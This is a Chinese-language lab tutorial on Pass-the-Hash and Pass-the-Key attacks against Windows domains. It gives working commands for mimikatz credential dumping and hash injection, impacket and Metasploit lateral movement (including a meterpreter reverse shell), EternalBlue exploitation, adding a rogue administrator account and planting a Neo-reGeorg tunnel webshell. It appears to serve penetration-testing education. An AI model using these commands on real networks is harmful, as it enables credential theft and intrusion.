内网渗透--PTH与PTK/实战利用

内网渗透–PTH与PTK/实战利用


前言

本章主要介绍PTH+PTK

  • PTH 介绍
  • PTH 常见攻击方式
  • PTK 介绍
  • PTK 常见攻击方式
  • PTH+PTK 实战
  • 主要工具说明

PTH介绍

  • PTH: Pass The Hash (哈希传递攻击)

PTH原理

攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,不需要提供明文密码。在Windows系统中,通常会使用NTLM身份认证,NTLM是明文加密后的hash值。PTH是基于SMB服务(445端口)。

前提条件

  • 获取某个用户的hash但无法破解明文
  • 域环境中存在其它一样密码的大量主机

攻击适用情况

  • 在工作组环境中:
    • Vista 之前的机器,可以使用本地管理员组内用户进行攻击。
    • Vista 之后的机器,只能是 administrator 用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非 administrator)也不能使用哈希传递攻击,会提示拒绝访问。
  • 在域环境中
    • 只能是域管理员组内用户(可以是域管理员组内非 administrator 用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器。

PTH攻击模式

  1. 获取一台域主机高权限
  2. 利用mimikatz等工具来获取密码hash
  3. 利用hash尝试登录其它域主机

要完成一个 NTLM 认证,第一步需要客户端将自己要参与认证的用户名发送至服务器端,等待服务器端给出的 Challenge⋯⋯,其实哈希传递就是使用用户名对应的 NTLM Hash 将服务器给出的 Chanllenge 加密,生成一个 Response,来完成认证。

PTH 常见攻击方式

目前常用的 hash 传递工具都是通过 445 端口进行攻击的,也是因为 smb 使用了 ntml 认证,所以导致可以 hash 传递。

Mimikatz

获取hash(需要用管理员权限打开mimikatz)

1
2
privilege::debug
sekurlsa::logonpasswords

可以看到是在明文无法破解的情况下获取HASH

然后用mimikatz进行PTH攻击命令:

1
sekurlsa::pth /user:admin /domain:DESKTOP-MH18SJD /ntlm:209c6174da490caeb422f3fa5a7ae634

如图是命令执行成功的效果图,同时会打开一个新的CMD窗口,该窗口拥有访问域控的权限,之后访问远程主机或服务不需要提供明文密码。

Wmiexec

Invoke-WMIExec

1
2
3
Invoke-Module Invoke-TheHash.psd1
Invoke-WMIExec -Target 192.168.1.1 -Domain workgroup -Username administrator -Hash ccef208c6485269c20db2cad21734fe7 -Command "calc.exe" -verbose
Invoke-SMBExec -Target 192.168.1.1 -Domain test.local -Username test1 -Hash ccef208c6485269c20db2cad21734fe7 -Command "calc.exe" -verbose

wmiexec

wmiexec是对windows自带的wmic做了一些强化,让渗透变得更容易。

1
wmiexec.exe -hashes :c780c78872a102256e946b3ad238f661 DOMAIN/administrator@192.168.1.0 "whoami"

WMIC

wmic /node:host /user:administrator /p 密码 process call create “c:\windows\temp\foobar.exe”

PStools

1
2
3
psexec.exe \\ip -accepteula -u username -p password program.exe

psexec \\ip -u user -p passwd cmd /c dir D:\

impacket

1
2
3
4
git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
python setup.py install
cd impacket/examples

Psexec.py

Psexec.py 允许你在远程 Windows 系统上执行进程,复制文件,并返回处理输出结果。此外,它还允许你直接使用完整的交互式控制台执行远程 shell 命令(不需要安装任何客户端软件)。

./psexec.py test/Administrator:Abcd1234@192.168.1.100

Wmiexec.py

它会生成一个使用 Windows Management Instrumentation 的半交互式 shell,并以管理员身份运行。你不需要在目标服务器

./wmiexec.py test/Administrator:Abcd1234@192.168.1.100

Atexec.py

通过 Task Scheduler 服务在目标系统上执行命令,并返回输出结果。

./atexec.py test/Administrator:Abcd1234@192.168.1.100 whoami

Metasploit

利用auxiliary/admin/smb/psexec_command模块攻击:

1
2
3
4
5
6
msfconsole # 打开msf控制台
use auxiliary/admin/smb/psexec_command
set rhosts [ip]
set smbuser [user] # 域中的 PTH 这里不需要写域前缀
set smbpass [password] # 例如: 00000000000000000000000000000000:c780c78872a102256e946b3ad238f661
run

pth-winexe

kali 自带的 PTH 套件每个工具都针对 WIN 下相应的 EXE 文件,如使用 Pth-winexe 可以借助哈希执行程序得到一个 cmdshell:

1
2
3
export SMBHASH=xxxxxx...:xxxx...
pth-winexe -U administrator% //target-ip cmd
# no password 就需要替换成空的 LM hash 加密值: aad3b435b51404eeaad3b435b51404ee

CrackMapExec

CrackMapExec

cme smb x.x.x.x -u administrator -H xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -x whoami


PTK介绍

  • PTK: Pass The Key (密钥传递攻击)

ptk是在域中攻击kerberos认证的一种方式,原理是通过获取用户的aes hmac,通过kerberos认证,可在NTLM认证被禁止的情况下用来实现类似pth的功能。

前提条件

  • 适用于域环境
  • 目标主机需要安装KB2871997补丁

PTK常见攻击方式

mimikatz

1.获得用户的aes key:

1
2
privilege::debug
sekurlsa::ekeys

2.注入aes key:

mimikatz "privilege::debug" "sekurlsa::pth /user:目标用户名 /domain:目标域名 /aes256:目标aeskey

3.在弹出的cmd窗口中输入net use命令进行测试

net use \\192.168.1.1\c$

wmiexec和crackmapexec同样支持该种方式攻击,可以自行尝试。


PTH+PTK实战介绍

环境准备

  • Windows7-A 目标机器A
  • Windows7-2 目标
  • Kali 攻击机


实战渗透

首先 对目标机器A进行goby扫描

发现目标存在主机漏洞 MS17-010 永恒之蓝,可通过SMB RCE,利用方式如下:

kali利用ms17_010拿下win7-1

1
2
3
4
5
msfconsole
search ms17_010
use exploit/windows/smb/ms17_010_eternalblue
show options
exploit

添加远程桌面管理员用户组

1
2
3
net user test111 Abcd1234 /add
net localgroup "remote desktop test111" /add
net localgroup administrators test111 /add

然后RDP这个test111账户。

连接成功,可以看到该机器外网地址为:10.30.1.64, 内网地址为:192.168.137.136

内网代理

这里是因为kali攻击选用的一种内网代理工具,如果想windows也可以使用proxifier图形化工具更方便一些。

代理工具 :https://github.com/L-codes/Neo-reGeorg

python3 neoreg.py generate -k password

将得到的tunnel.php上传到目标web服务器

python3 neoreg.py -k password -u http://10.30.1.64/tunnel.php

因为是在kali里攻击的,用proxychains4

1
vim /etc/proxychains.conf
  • 设置为127.0.0.1:1080

proxychains4 rdesktop 127.0.0.1:3389

成功RDP目标内网。

内网PTH和PTK攻击

然后就是前面讲到的攻击方式,但win7的明文可以直接mimikatz破解获得,可能是版本问题,这里假设获得无法破解的明文。操作同上。

PTK也类似同理。

主要工具说明

Proxifier

项目地址:https://www.proxifier.com/

  • 基本使用
    • 添加代理服务器

      • Profile-Proxy Servers-Add…-check

        显示Proxy is ready to work with Proxfier! 则此步骤配置成功,否则认真检查端口是否正确以及ss是否运行。
    • 配置代理规则

      • Profile-Proxification Rules - Add…

        这里含义是,访问任意IP时都会通过刚刚配置的127.0.0.1:10808服务器进行代理访问。注意,代理规则为Direct直连模式
    • 设置域名解析

      • Profile-Name Resolution

        这里设置不需要解析的域名
    • 最后可以访问https://www.ip138.com/查看当前外网地址IP

Mimikatz

项目地址:https://github.com/gentilkiwi/mimikatz

  • 基本使用

    • 提权(获取调试权限)
      privilege::debug
    • 抓取密码
      sekurlsa::logonpasswords
  • PTH

    • (工作组)通过 pth 进行远程登录(cmd)

      1
      2
      3
      4
      5
      6
      7
      8
      mimikatz.exe privilege::debug

      mimikatz.exe privilege::debug "sekurlsa::pth /user:用户名 /domain:目标机器IP /ntlm:密码哈希"

      mimikatz.exe privilege::debug "sekurlsa::pth /user:win10 /domain:192.168.1.1 /ntlm:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"

      net use \\192.168.1.1\c$
      dir \\192.168.1.1\c$
    • (域)通过 pth 进行远程登录(cmd)

      1
      2
      3
      4
      5
      6
      mimikatz.exe privilege::debug
      mimikatz.exe sekurlsa::logonpasswords

      mimikatz.exe privilege::debug "sekurlsa::pth /domain:目标机器的域 /user:目标机器的用户名 /ntlm:用户名对应的hash"

      mimikatz.exe privilege::debug "sekurlsa::pth /user:win10 /domain:test.com /ntlm:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
    • 通过 pth 进行远程登录(mstsc)

      1
      2
      # 管理员权限下执行以下命令:
      mimikatz.exe privilege::debug "sekurlsa::pth /domain:目标机器的域 /user:目标机器的用户名 /ntlm:用户名对应的hash /run:mstsc.exe /restrictedadmin"
  • PTK

    域控未打 KB2871997 补丁前,无法使用 Key 传递攻击

    1
    2
    3
    4
    5
    6
    # 获取用户的 aes key
    mimikatz "privilege::debug" "sekurlsa::ekeys"

    # 注意查看 aes256_hmac 和 aes128_hmac

    mimikatz "privilege::debug" "sekurlsa::pth /user:test /domain:test.com /aes256:c4388a1fb9bd65a88343a32c09e53ba6c1ead4de8a17a442e819e98c522fc288"

Metasploit

项目地址:https://www.rapid7.com/products/metasploit/download/

kali有较多种pth攻击工具,下面列出常见的几款:

  • smb_login
    1
    2
    3
    4
    5
    6
    use auxiliary/scanner/smb/smb_login
    set rhosts 192.168.1.105 # 目标IP
    set user_file user.txt # 目标用户
    set pass_file pass.txt # 目标密码
    set smbdomain domain # 目标域
    exploit
  • Invoke_smbexec
    1
    2
    3
    4
    5
    6
    usemodule lateral_movement/invoke_smbexec
    set ComputerName WIN-S0V7KMTVLD2.ignite.local # 目标域
    set Username Administrator # 目标用户
    set Hash 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 # 目标明文
    set Listener http # 设置监听类型http
    execute
  • psexec_psh
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    use exploit/windows/smb/psexec_psh
    set rhosts [ip]
    set smbuser [user] # 域中的 PTH 这里不需要写域前缀
    set smbpass [password] # 例如: 00000000000000000000000000000000:c780c78872a102256e946b3ad238f661

    set payload windows/meterpreter/reverse_tcp
    set lhost [ip]

    # 工具的参数需要填写固定格式 LM hash:NT hash,可以将 LM hash 填 0(LM hash 可以为任意值),即 00000000000000000000000000000000:NT hash。
    exploit

Neo-reGeorg

项目地址: https://github.com/L-codes/Neo-reGeorg

  • 示例
    • 生成tunnel.(aspx|ashx|jsp|jspx|php) 并上传到WEB服务器

      python3 neoreg.py generate -k password

    • 使用 neoreg.py 连接 WEB 服务器,在本地建立 socks5 代理

      python3 neoreg.py -k password -u http://xx/tunnel.php

    • 高阶用法

      • 支持生成的服务端,默认直接请求响应指定的页面内容(如伪装的404页面)

        1
        2
        python neoreg.py generate -k <you_password> --file 404.html --httpcode 404
        python neoreg.py -k <you_password> -u <server_url> --skip
      • 如服务端 WEB,需要设置代理才能访问

        python neoreg.py -k <you_password> -u <server_url> --proxy socks5://10.1.1.1:8080

      • 如需 Authorization 认证和定制的 Header 或 Cookie

        python neoreg.py -k <you_password> -u <server_url> -H 'Authorization: cm9vdDppcyB0d2VsdmU=' --cookie "key=value;key2=value2"

      • 需要分散请求,可上传到多个路径上,如内存马

        python neoreg.py -k <you_password> -u <url_1> -u <url_2> -u <url_3> ...

      • 开启内网转发,应对负载均衡

        python neoreg.py -k <you_password> -u <url> -r <redirect_url>

      • 更多关于性能和稳定性的参数设置参考 -h 帮助信息

        • 生成服务端脚本

          python neoreg.py generate -h

        • 连接服务端

          python neoreg.py -h


知识总结

本次我们学习了以下知识点

  • PTH与PTK的介绍以及常见的攻击方式:Mimikatz、PStools等
  • 实战渗透中goby扫描出主机漏洞,利用此漏洞在kali虚拟机下运用代理工具进行内网代理、从而打入内网PTH攻击以达到目的。
  • 一些常用的代理、PTH与PTK工具详情介绍

扩展阅读